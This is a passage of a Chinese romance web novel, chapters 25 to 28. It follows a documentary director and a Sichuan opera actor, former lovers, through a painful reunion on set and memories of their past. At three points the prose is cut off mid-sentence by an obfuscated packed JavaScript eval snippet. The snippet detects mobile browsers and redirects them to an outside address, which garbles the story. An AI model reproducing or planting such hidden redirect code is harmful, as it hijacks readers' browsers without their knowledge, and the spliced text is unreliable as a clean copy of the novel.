林瑶突然从旁边插进来:“李老师,您手还在流血呢,先包扎一下吧?” 低头看去,果然有血正从他攥着的指缝再次渗出来。陈声和本能地摸向口袋里的创可贴,又硬生生停住。 “这点小伤算什么。”李霄川满不在乎地把血抹在嫁衣的金线上,“反正这戏服……” “要还的。”陈声和截住他的话头,“十五分钟后补拍特写。” 李霄川脸上那点假笑瞬间垮了。他往前逼近半步,头上凤冠的垂珠差点戳到陈声和鼻梁:“怕我赔不起?” 陈声和屏住呼吸,连眼睛都没敢抬。 正好道具组在后面搬墓碑,哐当哐当响得人心烦。 他趁机往后撤了两步,腰眼撞上工作台边沿,台面上那个分镜稿文件夹应声翻倒。 雪白的纸张像受惊的鸽子四散飞开,最上面那张正好是化蝶镜头的设计图,梁祝在漫天桃花中相拥的特写草图。 那张图纸打着旋飘落,不偏不倚落在李霄川脚前。他向前迈步时,靴底碾过纸面,留下半个胭脂色的脚印,踩在画中两只蝴蝶交叠的翅膀上。 “准备下一场。”陈声和别开脸,扭头就往监视器那边走。 刚迈出两步,身后突然传来刺啦一声布料撕裂的脆响。他脚步微顿,不用回头也知道,是李霄川直接把水袖扯下来了。 最后一个镜头拍完时,夕阳已经斜斜地照进片场。 场记打板的声音清脆地划破凝滞的空气:“《柳荫记》第三十一场,Take 4,过了!” 整个片场顿时活络起来。灯光组开始收柔光布,道具组忙着拆那些软木做的假墓碑。 陈声和坐在监视器前,画面定格在李霄川最后一个特写:哭花的油彩在下巴凝成一道蓝黑相间的痕迹,看着像干涸的河床,又像潮汕老宅屋檐下那些年深日久的雨痕。 “陈导,素材要保一条吗?”副导老张凑过来,身上还带着户外拍摄沾上的尘土味。 陈声和的视线没有离开屏幕,右手食指摩挲着键盘上的删除键,指甲边缘在键帽上刮出轻微的声音。 “……不用。”他最终开口,声音比想象中更干涩,“这条可以。” “好嘞!”老张伸了个懒腰,“收工!” 陈声和依旧坐在原地,他没有立刻关机,而是将进度条拖回李霄川哭坟的那一段。 画面里,祝英台跪在坟前,十指深深抠进软木做的道具墓碑,指甲缝里渗出的血丝在棕色的木料上分外刺目。 唱到“要相逢除非是梦里团圆”时,李霄川的嗓音突然哑了一瞬,像是被什么硬生生哽住了喉头。 陈声和眯起眼,将音频波形放大到极致。在密集的锣鼓点间隙,有一帧几乎听不见的气音波形异常突起。 25.你是不是早就扔了 他调出频谱分析,那个瞬间的波形显示出一个清晰的音节:“阿和……” 是潮汕话的发音,轻得像是片场杂音造成的错觉,却又熟悉得让他太阳穴突突直跳。 “陈导?”林瑶的声音突然从身后传来,吓得他手指一颤,差点按到删除键,“省文化厅的人半小时后到,要不要先让李老师卸妆?” 陈声和“啪”地合上监视器盖子,动作大得让旁边的老张诧异地看了他一眼。 “……嗯。”他站起身,清了清嗓子才继续道,声音还是有些发紧,“我去跟他说。” 后台走廊的灯光很暗,陈声和的脚步声被厚重的地毯吞没。 远处传来道具组搬运器材的声响,混杂着场务拿着对讲机喊人的声音,一切都显得嘈杂而遥远。 他在化妆间门口停下,手搭在门把上,却迟迟没有推开。 门里“哗啦”一声,听着像是什么东西全给扫到地上了。 紧接着,李霄川的声音传出来,又低又哑,几乎是从牙缝里挤出来的:“……操!” 陈声和拳头收紧,指节抵在冰凉的金属门把上,那点冷意让他稍微定了定神。 他在门口站了一会,没再听到声音,这才深吸一口气,推门进去了。 化妆间里那盏化妆镜前的灯泡接触不良,一闪一闪的,照得李霄川半边还带着妆的脸一会儿亮一会儿暗。 他背对着门,戏服也没换,衣襟上蹭了一大片红油彩,手里攥着一团浸满卸妆水的棉片,正没轻没重地往脸上擦。 地上零零散散丢着几把断了的化妆刷,一瓶粉底液也打翻了,白的糊了一地,慢慢淌到陈声和脚边,像一道干巴巴的河。 李霄川从镜子里瞥见他,动作停了一下。 “陈导。”他扯了扯嘴角,要笑不笑的,“来视察工作?” 陈声和站在门口,目光扫过满地狼藉,最终落在李霄川的手上,他的指关节通红,应该是刚砸过什么硬物。 化妆台边上果然有道新鲜的刮痕,木屑还沾在那儿没掉。 “省文化厅的人半小时后到。”陈声和说,“你需要卸妆。” “我知道。”李霄川转过身来,脸上的油彩已经被他擦得乱七八糟,底下皮肤泛着红,“怎么,怕我耽误你们纪录片的大项目了是吧?” 他每句话都带着刺儿,像拿路边野玫瑰的杆子抽在陈声和身上。 陈声和没接话,目光却落向化妆台角落,那儿放着个小铁盒,是川剧演员用来装脸谱油彩的。 盒盖上贴了张便利贴,还仔细覆了层保护膜,上面写着:小心过敏。 字迹已经有点模糊了,但他认得出,那是他自己的笔迹。 大学有一次,李霄川画完全妆后脸过敏,红肿了好几天。从那之后,每次他演出,陈声和都会在他油彩盒上贴这么一张。 他以为李霄川早就扔了。 李霄川顺着他的视线看过去,忽然嗤笑一声,一把抓起铁盒,直接扔进了垃圾桶。 “咚”的一声闷响,在过分安静的化妆间里,砸得人心里一沉。 “满意了?”他盯着陈声和,“陈导是不是很失望,我怎么还没把和你有关的东西全扔干净?” 陈声和的喉结动了动,垂在身侧的手指蜷起来。 “……我只是来通知你时间。”他最终说,转身时手肘碰到了门边的衣架,那件绣着金线的戏服轻轻晃了晃。 “陈声和。”李霄川叫住他,声音软了下来,“你刚才……听到我在戏里说什么了吗?” 陈声和的背影僵住,走廊里传来场务推着设备车经过的轱辘声。 “没有。”他没有回头,手指搭在门把手上,“我只听台词。” 门锁轻轻咔哒一声闭合,在隔壁化妆间欢声笑语的反衬下,显得尤为孤寂。 陈声和站在门外,掌心贴着被冷气吹得冰凉的门板,指甲在漆面上刮出几道白痕。 里头突然“哐当”一声,像是什么玻璃杯砸镜子上了,紧跟着又是化妆椅倒下去的闷响,倒像出哑剧突然配了乐。 他太阳穴突突地跳,耳边没由来地又响起刚才那折《柳荫记》里,李霄川改的那句: “十八相送终成谶,梁兄啊~” 那尾音颤得不像唱戏,像人哭到一半硬压回去的抽气。 就在这时,化妆间里漏出一声压得非常低的呜咽,仿佛受伤的动物舔伤口时没憋住的那一下。 陈声和心里像被浸了冰水的毛巾狠狠抽了一下,他闭了闭眼睛,又猛地转身推开门! 镜子已经裂成了蜘蛛网。李霄川的右手就悬在那裂痕正中央,血顺着缝隙往下爬,在镜面上淌出几条歪歪扭扭的红线。 他妆卸了一半,左脸还挂着油彩,右脸却已经干净了。眼尾那颗泪痣在惨白灯光下红得扎眼。 “出去。”他没有回头,声音嘶哑得像是刚唱完三折大戏。 陈声和反手“咔哒”一声锁上门。那金属撞上的声音让李霄川肩膀轻轻一抖。 陈声和径直走到储物柜前,拉开贴着“医药箱”的柜门。拿纱布时,他一眼瞥见最底下那盒云南白药,锡纸包装都氧化发黑了。 “手。”他站在李霄川身后半步远的位置,空气里飘着血腥和他熟悉的跌打药酒味。 李霄川肩膀僵了一下,还是没转身。血从他指缝滴下来,落在靛蓝色戏服前襟,迅速晕开一团深色。 “五年不见,”陈声和又说了一遍,这次声音更轻,“你学会自残了?” 这句话像是刺激到了李霄川。 他猛地转过身,戏服广袖“呼”地扫倒了化妆台上的粉底液,瓶子滚到地毯上,发出闷闷的“咕咚”一声。 “对!我就这点出息,”他眼睛红得吓人,左脸油彩被眼泪晕开,拖出一道蓝色的痕,像半张碎掉的面具,“比不上你陈大导演清高!” 陈声和没有搭理他的讽刺。他一把握住李霄川的手腕,力道大得能清晰感觉到对方脉搏一下下的跳动。 伤口比想象中深,一块菱形玻璃碎片还嵌在无名指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005866|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的指关节里,再偏半寸就会割到肌腱。 “……何必。”他听到自己轻声说。 李霄川觉得这两个字太可笑了,他猛地抽回手,带出的血珠溅在陈声和的衬衫领口。 “那说点陈导爱听的,”他扯出一个舞台上惯用的笑容,“今天拍到想要的表情了吗?要不要再来条特写?” 陈声和没有抬头,只是慢慢收回自己被甩开的手,指节在掌心蜷了蜷:“……情绪太过了。” “过了?”李霄川低笑一声,喉结滚动时还带着方才演出的喘息,笑声钻进耳朵里像钝刀磨骨,“陈声和,你什么时候开始在乎演技了?以前我连《踏伞》的调门都唱不准,你也只会说好。” 陈声和抬头,正对上李霄川的眼睛——那里面还凝着戏里的血丝,眼尾的黛青油彩被汗水晕开,在灯光下像道未干的泪痕。 “那是以前。”他声音轻得快要消失了。 空气里浮动的粉底液和发胶气味越发变得刺鼻。 “以前……”李霄川伸手扯开戏服领口,盘扣崩飞在地上弹了两下,“以前你会在我演完《归舟》的杜十娘后,翻过观众席栏杆冲上来抱住我,说川哥别难过,沉百宝箱是假的……” 他声音哑得像是刚吞过炭:“现在呢?现在你坐在监视器后面,连喊卡都要助理传话。” 陈声和向后踉跄半步,手肘撞上化妆台。一瓶卸妆油翻倒,黏稠液体顺着台面蔓延,几支口红滚落在地上。 “李霄川,”他拇指掐进掌心才稳住声线,“这是工作。” “工作……以前……” 李霄川像是被这句话彻底激怒,他转身一脚踹翻了旁边的道具箱。箱子翻倒的瞬间,里面的东西哗啦一声散落一地。 半块场记板,边缘已经发毛了,白漆面上用黑色马克笔写着字迹,右下角还画着个歪歪扭扭的辣椒图案。 一包潮汕老药桔从夹层滑出,铝箔包装上的生产日期还停留在201X年。最底下露出张照片,撕痕从两人紧贴的肩头贯穿,又被透明胶带仔细拼好。 照片里,学生时代的李霄川搂着陈声和的肩膀,背景里都江堰的江水溅起细碎水花,落在他们交握的手上。 陈声和的心脏好像被猛地拽出来又塞回去。 李霄川盯着地上的东西,胸口剧烈起伏,觉得自己很贱:“对,工作。你永远分得清什么是工作,什么是感情。” 他弯腰捡起那张照片,手指用力到几乎要捏碎它:“陈声和……五年里我每次演出都带着这张照片,哪怕它被撕了,我还是粘起来。” “你呢?”他猛地抬头,眼眶通红,睫毛膏晕开的黑影坠在眼下,“你是不是早就把和我有关的东西全扔了?” 陈声和站在原地,喉咙发紧,他张口时尝到舌尖的血腥味,才发觉不知何时咬破了口腔内壁。 “我们早就结束了……” 化妆镜里的李霄川在这一刻静止了,像被按下暂停键的胶片电影。 “对,”他点点头,“结束了。” 26.幺儿,不难过咯 李霄川从化妆棉盒里哗地抽出三片,叠在一起,蘸饱了卸妆水就往脸上擦。棉片蹭过脸颊,立刻拖出一道红痕。 “那请陈导明示,刚才的情绪到底是哪里过分了?” 卸妆棉狠狠抹过眉骨,李霄川的声音已经恢复了平静:“是要我收着点悲愤?还是……再克制些?再专业些?” 一连串的问句砸过来,陈声和几乎站不稳,手向后一撑,抵住了化妆台。 棉片又蹭到下巴,红油彩晕开一片。 李霄川手腕一甩,那抹红直接蹭上了陈声和的衬衫上,和刚才的血珠子混在一起,在雪白的布料上晕开一片。 陈声和上前几步,一把攥住他的手腕:“……别擦了。” 李霄川动作停住,抬眼看他。 碰到皮肤的刹那,陈声和才察觉,李霄川的手腕在微微发抖。接触不良的那个灯泡一闪一闪间,他看见对方下巴已经被搓得通红,几乎快要破皮。 陈声和心里揪得发疼,可话到嘴边只剩一句:“……再擦真要破皮了。” 李霄川扯了扯嘴角,笑得有点刺人:“陈导这是在关心我?” 陈声和松了手,向后退了半步:“……只是不想影响明天拍摄。” “对。”李霄川把沾满红渍的卸妆棉捏成一团,嗖地扔进垃圾桶,“陈导说得对,工作最重要。” 就在这时,门外走廊传来脚步声,由远及近。 “陈导,”林瑶的声音隔着门响起,“文化厅的人到了,说要见您和李老师!” 陈声和看见李霄川的肩膀微微地僵了一下。 可下一秒,那人脸上已经挂起无可挑剔的微笑,连声音都调到刚刚好的热情:“好的,马上来。” 他对着镜子最后整了整衣领,转身时甚至还微微躬身,比了个标准的手势:“陈导先请?” 仿佛刚才那个失控到差点搓破自己脸的人,从未存在过。 陈声和沉默地跟上去,垂在身侧的手慢慢握紧。指甲掐进掌心的疼是清晰的,却远远比不上胸口那闷着的刺痛。 …… 国庆假期的成都,春熙路的人潮挤得怕是连熊猫见了都要说一句:“老子还是回山里头啃竹子算咯!” 李霄川坐在塑料凳上,凳腿因为地面不平而微微摇晃,面前摆着一盘冷吃兔和半打红乌苏,铝罐上凝着水珠,在闷热的夜里慢慢往下滑。 这家路边摊开在大学后门的老街上,招牌的霓虹灯管坏了一半,张记夜宵四个字只剩下张记还亮着,另一半在黑暗里沉默地褪色。 但老板还记得他,油锅腾起的白雾后面,那张脸探出来,眯着眼认了认,忽然笑了。 “哎哟,李娃儿?”老板把油渍斑斑的围裙卷起来擦了擦手,小跑着凑近,“好久没看到你了!还是老规矩?多放辣椒,少放花椒?” 李霄川的嘴角动了动,像是想笑,但最后只低低“嗯”了一声。 老板转身去灶台前翻炒,铁勺刮过锅底的声响混杂着街边游客的喧闹。 他一边颠勺一边回头搭话:“你那个广东小朋友呢?以前每次来,他都要被辣得眼泪汪汪的,你还非骗他说这次真的不辣,结果人家一口下去,耳朵尖都红了……” 李霄川的手指颤了一下,啤酒瓶栽倒,冰凉的酒液从裂缝渗出来,顺着他的虎口往下淌。 老板没注意,乐呵呵地端上一盘红油抄手:“送你们的!皮特意擀薄了,以前那小朋友最爱吃这个,总夸我们家的皮比别处薄。” “他不在了。”李霄川打断他。 老板举着碗的手顿在半空:“啊?” “回广东了。”李霄川低头掰开一次性筷子,劣质木材的毛刺扎进指腹,他却像感觉不到疼,“……五年前的事。” 老板张了张嘴,把到嗓子眼的那句“请节哀”咽下去,显然意识到自己会错了意,讪讪地把抄手推到他面前:“趁、趁热吃。” 李霄川盯着那盘抄手。浮在红油上的葱花被热气微微掀起,香味扑上来,和记忆里没什么区别。 以前陈声和总嫌辣,筷子尖先小心翼翼地在清汤里涮一圈,红油被稀释成淡粉色才敢入口。 李霄川就故意抢走他涮好的那只,当着他的面一口吞下,辣得舌尖发麻还要嘴硬:“小广仔,你这叫暴殄天物。” 陈声和气得用潮汕话嘟囔,睫毛上还沾着被辣出来的泪花,最后却总被一颗裹了黄豆粉的冰糖糍粑哄得没了脾气。 现在这盘抄手就摆在面前,红油亮得刺眼。却没有人会再涮了,也没有人会因为被抢了食物而小声抗议。 李霄川夹起一只,直接送进嘴里。滚烫的馅料裹着辣油灼过舌尖,呛得他鼻腔发酸。他赶紧仰头灌了半罐啤酒,冰凉的液体顺着喉咙冲下去,才把那莫名窜上来的情绪给压了回去。 这时候手机在裤兜里震了几下。 他掏出来一看,是谢满悦发来的消息:【师兄,明天早功还练吗?省文化厅的说要带几个领导来看排练】 李霄川回了个“嗯”,锁屏时界面一闪而过,是今天在化妆间捡到的那张照片,撕碎的边缘被透明胶草草黏合,两个人的笑脸中间横亘着歪歪扭扭的裂痕。 李霄川盯着漆黑的屏幕看了一眼,抬手喊:“老板,再拿两瓶酒。” 街对面,一群游客举着熊猫气球有说有笑地走过。霓虹灯的光晕开在湿漉漉的马路面上,像被水化开的胭脂。 这边陈声和回到酒店房间,已经是凌晨两点多了。 走廊的感应灯随着他的脚步声亮起又熄灭。刷卡进门时,门把手上挂着的外卖袋,是林瑶给他点的宵夜,已经凉透了。 他坐在酒店书桌前,笔记本电脑的荧光映在他苍白的脸上。桌上散落着几包拆开的速溶咖啡,最边上那杯喝了一半,表面结了一层薄薄的膜。 屏幕上反复播放着同一段素材——李霄川哭坟的那场戏。 拍摄那天他就站在摄像机旁边,隔着镜头看那人跪在戏台正中央。水袖甩出去又收回来,像个想要抓住什么却总是落空的手。 “……要相逢除非是梦里团圆……” 唱腔凄厉,镜头推进到李霄川的特写时,陈声和按下暂停,手指悬在键盘上,微微发抖。 画面定格在那双眼睛上,再浓的油彩也盖不住眼底的红血丝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005867|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是这里。 他调出音频轨道,把音量拉到最大。耳机里锣鼓喧天,而在某个转调的缝隙里,有个几乎听不见的气音:“阿和……” 是潮汕话的发音,轻得就像叹了一声,没人会留意。那是李霄川当年跟他学的,总是把第二声念得太重,听着像在撒娇。 陈声和的呼吸停滞了一瞬,他拖动进度条,又听了一遍。 再一遍。 听到第十遍,他终于把这几秒钟的音频剪出来,导进手机。 系统弹出提示问要不要存进加密文件夹时,他的拇指在屏幕上悬了半天,最后还是点了确定。 文件夹名称:【chuan2020-2024】 里面已经存了几百多份文件,按日期整齐排列。 有李霄川这五年所有的公开演出视频,每场都仔细标了扮相和唱段;有采访报道的PDF,重点地方还用黄色高亮标出;甚至还有微博点赞过的美食攻略,截图边缘能看见李霄川账号那个小熊猫头像。 最新添加的音频排在最后面。 陈声和盯着那个小小的波形图,只觉得胸口发闷。他习惯性地想去摸烟,却想起自己早就戒了。 他起身走到窗前,推开窗户。成都的夜风裹着火锅店的味道涌进来,远处霓虹灯牌闪烁,川剧院几个字在夜色中十分醒目。 手机突然震动,他点开,是母亲发来的语音:“阿和,你和黄伯伯女儿联系没有啊?我都答应人家这周末……” 陈声和没听完就按灭了屏幕。 语音转文字的后半截还显示在通知栏:【……你都二十六了,还要等到什么时候】 书桌上还摊着明天的拍摄计划,他强迫自己坐回去,拿起红笔修改流程,却在纸张边缘写了好几个川字。 墨水慢慢晕开来,反应过来自己在做什么,陈声和猛地合上文件夹,起身时太猛,膝盖撞到了桌角,这疼痛反而让他清醒了几分。 浴室镜子里的人眼眶发红,水珠顺着下巴滴落,和监视器里李霄川哭花妆的样子没什么区别。 他伸手抹了把脸,才发现自己用的是左手,腕骨上那道浅疤正对着镜子。 耳边仿佛又响起那个带着椒盐味的声音,温热的气息拂过耳廓:“幺儿不难过咯……” 李霄川总爱在他情绪低落时这样做,潮热的呼吸扑在敏感的肌肤上,用唇轻轻描绘这块伤疤,像是要用亲吻熨平所有伤痛。 潮汕人讲究食补,可李霄川偏说他的吻才是广仔最好的药。 镜面上的水汽模糊了视线,陈声和恍惚看见镜中浮现出另一个身影。那人穿着练功服,下巴搁在他肩上,从背后环抱住他。 记忆中的触感太过真实,他甚至能感受到李霄川说话时胸腔的震动:“我的幺儿,得宠着惯着哄着。” 那时,杨知夏总爱打趣,说李霄川这口气,不晓得是养了个娃儿,还是讨了个媳妇儿。 陈声和每回都听得耳根发烫,只好假装忙着手上的事。 李霄川却浑不在意,胳膊一伸就将他搂紧,理直气壮地笑道:“你不懂,爱一个人,不就是把他当小娃儿一样宠回来噻?” 27.红糖锅盔配单丛 手指一抖,不小心碰倒了洗手台上的漱口杯。玻璃碎裂的声响将他拉回现实,镜子里又只剩他一个人,眼眶通红地站在那里。 他蹲下身去捡碎片,一片锋利的玻璃边缘划过手指。血珠渗出来的瞬间,陈声和又想起李霄川第一次为他包扎伤口的样子。 那时他们刚在一起不久,他在拍摄时不小心划伤手指,李霄川急得用戏服的袖子给他止血,结果把那件价值不菲的行头染红了一大片。 “痛不痛?”记忆里的李霄川眉头紧锁,小心翼翼地用碘伏给他消毒。明明只是个小伤口,那人却紧张得像天要塌下来。 现在真的划伤了,却再没有人会那样问他了。 陈声和把碎片扔进垃圾桶,随手扯了张纸巾按住伤口。 回到书桌前,电脑屏幕已经自动休眠,漆黑一片的显示屏映出他疲惫的脸。他犹豫了一下,还是点开了手机里那段音频。 “阿和……” 李霄川的声音在寂静的房间里。陈声和闭上眼,任由那声呼唤在耳畔回荡。 过去那么久,他以为自己已经学会掩饰,学会若无其事地面对那个人。 可今天在后台,当李霄川粗暴卸妆的时候,他还是想责怪他不好好爱惜自己,想要伸手去擦对方脸上的妆。 窗外传来隐约的戏曲唱段,可能是哪家宵夜摊在放录音。 陈声和走到窗前,发现川剧院练功房的灯还亮着。他鬼使神差地拿起相机,调成长焦对准那个窗口。 镜头里,一个熟悉的身影正在练功。即使隔着这么远的距离,他也能认出那个挺拔的轮廓。 李霄川在练习后空翻,一遍又一遍,直到某个落地时明显踉跄了一下,扶着把杆才没摔倒。 陈声和的手指紧紧攥住相机,他知道李霄川左肩有旧伤,阴雨天总会疼。以前这种时候,他都会准备好热敷毛巾和药膏等着…… 相机突然发出电量不足的提示音。陈声和如梦初醒放下设备,这才发现自己的手心全是汗。 他看了眼时间,已经是凌晨三点四十,再过三个小时就要开始新一天的拍摄。 可当他躺到床上,闭上眼全是李霄川在镜头里望向他的样子。那句藏在唱词里的阿和,那个练功房里踉跄的身影,还有……他们无数个拥抱的夜晚。 在意识逐渐模糊的边缘,陈声和恍惚听见有人在他耳边哼唱川剧的调子,温暖的手掌覆在他腕间的疤痕上。 “乖乖……睡了哈……” …… 次日上午,厚重的云层压在成都上空,空气又闷又黏,跟能拧出水似的。片场那台老式风扇有气无力地转着,吱呀吱呀响个不停。 “陈导,灯光都调好了。”场记抹了把额头的汗。 陈声和头也不抬地“嗯”了一声,指腹摩挲着摄像机侧面的防滑纹路。 远处传来道具车推过的轱辘声,夹杂着几句四川方言的说笑,李霄川带着剧团的人准时到场了。 他今天扮的是《白蛇传》里的许仙。青布长衫,腰封束得利落,发髻上的方巾随着步子轻轻晃,比他平时那武生的架势柔和不少,倒真显出几分书生的温润。 这身装扮让陈声和恍惚了一瞬,和那时候大学文艺汇演时如出一辙,只不过现在,两人中间像横了道疤。 取景框里的十字标微微抖了抖,陈声和悄悄吸了口气,把焦距重新对准场地中央的打光板。 李霄川正跟武术指导比划动作,宽袖口甩来甩去,带起一阵风。 场务递来的场次表,被他随手卷成个纸筒,一下一下敲着手心。从开拍到现在,他的眼神就没往监视器这边瞟过。 “陈导,”林瑶凑过来,压低声音,“要不要过去对对走位?” “不用,”陈声和语气淡淡的,“李老师是行家。” 这话不轻不重的,刚好能飘到场地中间。 李霄川卷着纸筒的手顿了一下,随即笑着接过武指递来的道具伞,手腕一转,挽了个漂亮的剑花。 场务开始给大家分发矿泉水。 李霄川接过水,没喝,目光从瓶身上抬起来,看向场务:“有茶吗?”见对方一愣,他又轻声补了句,“凤凰单丛,就你们潮汕人常喝的那个。没有的话,别的也成。” 这话就像一声轻音乐飘进了陈声和的耳朵里。他正在翻台本,手指突然停了下来,手指下的纸页也跟着轻轻地卷了起来。 这团队全是他从广东带出来的老班底,谁不知道陈声和喝茶就认那一口凤凰单丛? 李霄川哪儿是会品茶的人,他向来怕苦,嫌那茶汤涩嘴。 以前俩人还腻在一起的时候,陈声和总爱摆弄他那套小巧的茶具,慢条斯理地烫杯、高冲、刮沫,一套流程下来,跟完成什么神圣仪式一样。 李霄川就盘腿坐在他对面的地毯上,撑着下巴,眉头皱得能夹死蚊子,看着那一盅盅金黄的液体,非得配个文殊院门口买的红糖锅盔,才肯捏着鼻子把那一小杯茶灌下去,跟喝中药似的。 喝完还要嘚瑟地邀功,说这可是把成都的甜和潮汕的香都揉一块儿了,叫川潮结合,以甜攻苦。 ——就跟他俩似的,绝配啊! 陈声和每次都扛不住他这土味又直白的比喻,笑得肩膀直抖,手里的茶壶都差点拿不稳,最后总是笑倒在他暖烘烘的怀里。 笑声渐歇,他抬起头,眼里还漾着未散的笑意和一点被甜言蜜语熏出来的水光,凑上去,轻轻吻住那人还沾着一点红糖渣的嘴角。 “嗯,”他低声应和,气息交融,“真绝配。” “陈导……”场务为难地跑过来,“李老师要喝茶,咱们现场只有矿泉水。” 关于李霄川脾气古怪的传闻,进组前大家多少都听过一耳朵。可合作了小半个月,这位角儿除了对戏较真,倒也没别的。 今天他倒是破天荒开了金口,反而让大家愣了愣。 “这算耍大牌吗?”有人小声嘀咕。 另一人低声回:“算不上,顶多算点小癖好。不过嘛,人家是角儿,只要戏好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005868|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这点小牌咱们组还是准他耍的。” 陈声和合上台本,发出轻响。 “我包里有。”他从摄影包侧袋取出一个磨砂锡罐,罐身上凤凰单丛四个字已经有些掉漆了。 林瑶接过茶罐时欲言又止:“这是您珍藏的老茶,要不我点个外卖。” 陈声和没接话。这茶是他从家里带出来的顶尖货,就算成都有卖的,也未必有他这罐纯。 他的目光越过忙忙碌碌的场工,定在那个青布长衫的背影上。 大风扇呼呼地吹,李霄川的衣摆被风带起,翻飞出一个熟悉的弧度。陈声和晃了神,仿佛又看见当年那个故意甩着水袖扫过他镜头的少年。 茶送过去时,李霄川那道谢的口气,客气得跟第一次见面似的,倒把场务给整的不知道说什么了,连连点头。 他掀茶罐的动作倒是熟练,可一闻到茶香,眉头就皱了一下。 就那一下,陈声和感觉自己的胃猛地一抽。 可下一秒,李霄川仰头就灌下去一大口,喉结滚了滚,脸上什么表情也没有,跟喝白开水没两样。 “还是这么苦。”他低头瞅着茶罐,自言自语,嘴角却扯出个笑来,“总比白水有味儿。” 这话轻得跟一阵风似的,但陈声和从他嘴型里读得清清楚楚。他猛地转身就往监视器那边走,橡胶鞋底在水泥地上蹭出一声响。 那天拍摄顺得出奇。李霄川的戏一条过,行云流水,连陈声和这么挑的人,都没找出什么毛病。 陈声和全程盯着监视器,对讲机攥在手里,可那句常挂嘴边的“保一条”,到底没喊出来。 …… 午休时候,林瑶抱着一堆素材带,撞见陈声和在洗手间干呕。他摆摆手说没事,可等她回到剪辑室,却发现垃圾桶里扔着两板胃药,铝箔都挤空了。 顺利收工后,两人在走廊上迎面遇上。擦肩的那一瞬间,李霄川的左手往身侧微微一探,陈声和的右手也几乎在同一刻抬了抬。 阴影里头,两人的手背几乎就要碰上了,却又同时僵住,最后各自收了回去。 陈声和低头假装整理器材箱,李霄川则把卸下来的护腕,在手里攥得更紧了。 “李老师!可算找着您了。”投资方代表刘总挺着啤酒肚晃进片场,锃亮的皮鞋一脚就踩在了道具箱上,发出闷响。 他身后两个小助理手忙脚乱地抱着一摞文件,最上面那本上面写着《国风少年企划案》几个字。 “您看看这档新综艺,”刘总脑凑到化妆台前,那浓烈的香水味与烟味直冲鼻子,“现在搞传统文化推广,正需要您这样的人物来撑场面!” 他边说边用又肥又短的手指敲着那份企划案:“至于出场费嘛……咱们好商量。” 李霄川正对着镜子拆头套,铜钱发饰叮叮当当轻轻碰撞。化妆镜边上那盏接触不良的灯泡,忽明忽暗闪了好几天,也没人来修。 听到“出场费”三个字,他捏着发簪的手停了一下,金属簪尖在昏黄的光下一闪。 28.不想卖 刘总嗓门敞亮,越说越来劲:“刚才看您最后那一下,身段是真绝了!不过综艺嘛,效果还得再热闹点儿,观众就爱看明星出点儿小洋相。” 说着他还现场模仿起来,做了个夸张的摔倒动作,圆滚滚的腰身一下子撞倒了旁边的道具架,“哗啦”几声,几个仿制的青花瓷碗摔得粉碎。 “刘总的好意我心领了。”李霄川对着镜子弯了下嘴角,可眼里没什么笑意,“我们这些老骨头,还是习惯在三尺戏台上,安安稳稳挣口饭吃。” 末了,他忽然转头看向门口,镜子里映出陈声和模糊的身影:“不像某些新锐导演,深谙流量密码,慢镜头、特写、情怀杀,剪出来的东西比戏班子还热闹。” 门边突然传来啪的一声响,众人看过去,林瑶合上台本,指甲在硬壳封面上刮出几道白痕。 她眼前仿佛还是几小时前的画面:陈声和蜷在剪辑室的角落睡着了,手里还攥着李霄川的演出资料。 屏幕上定格的,是他一个模糊的侧影,那是从三十多个小时的素材里,一帧一帧修复出来的。 “李老师,”她声音有点发颤,带着点广东口音,“陈导为了剪您的特辑,这一个月……天天熬到凌晨三点。” 她指着化妆台上那沓被刘总踩脏了的分镜稿,强压着火气:“那上面的标注,您都看了吗?每个武打动作旁边都写着尊重李老师舞台习惯,每一场戏后面都备注了要保留川剧原味!” 化妆间里的空气瞬间凝固,几个正在收拾道具的场务僵在原地,连呼吸声都放轻了。 李霄川仍然没回头,继续拆着头套。额头上被头套勒出的红痕,在粉底褪去之后更加明显。 汗湿的碎发黏在鬓角,衬得他下颌线绷得紧紧的。他始终没接话,只是把拆下来的发网,“啪”地一声,重重扔进了化妆箱。 “小林。”陈声和的声音从门口传来,他不知何时站在了那里。 他搭在助理肩上的手指微微收紧:“去确认下明天外景车的油量。” 林瑶张了张嘴,最终狠狠瞪了李霄川一眼,摔门而出时带起一阵风,吹散了化妆台上的几张定妆照。 “我们师兄需要上综艺证明什么?”角落里响起一个声音。谢满悦抱着李霄川的戏服站起来,这个平时说话总是笑嘻嘻的小姑娘,此刻眼睛瞪得圆圆的,“他可是能连翻二十个跟头不喘气的真功夫!” 副导老张赶紧打圆场:“谢师妹消消气,刘总也是想帮咱们扩大影响力……” 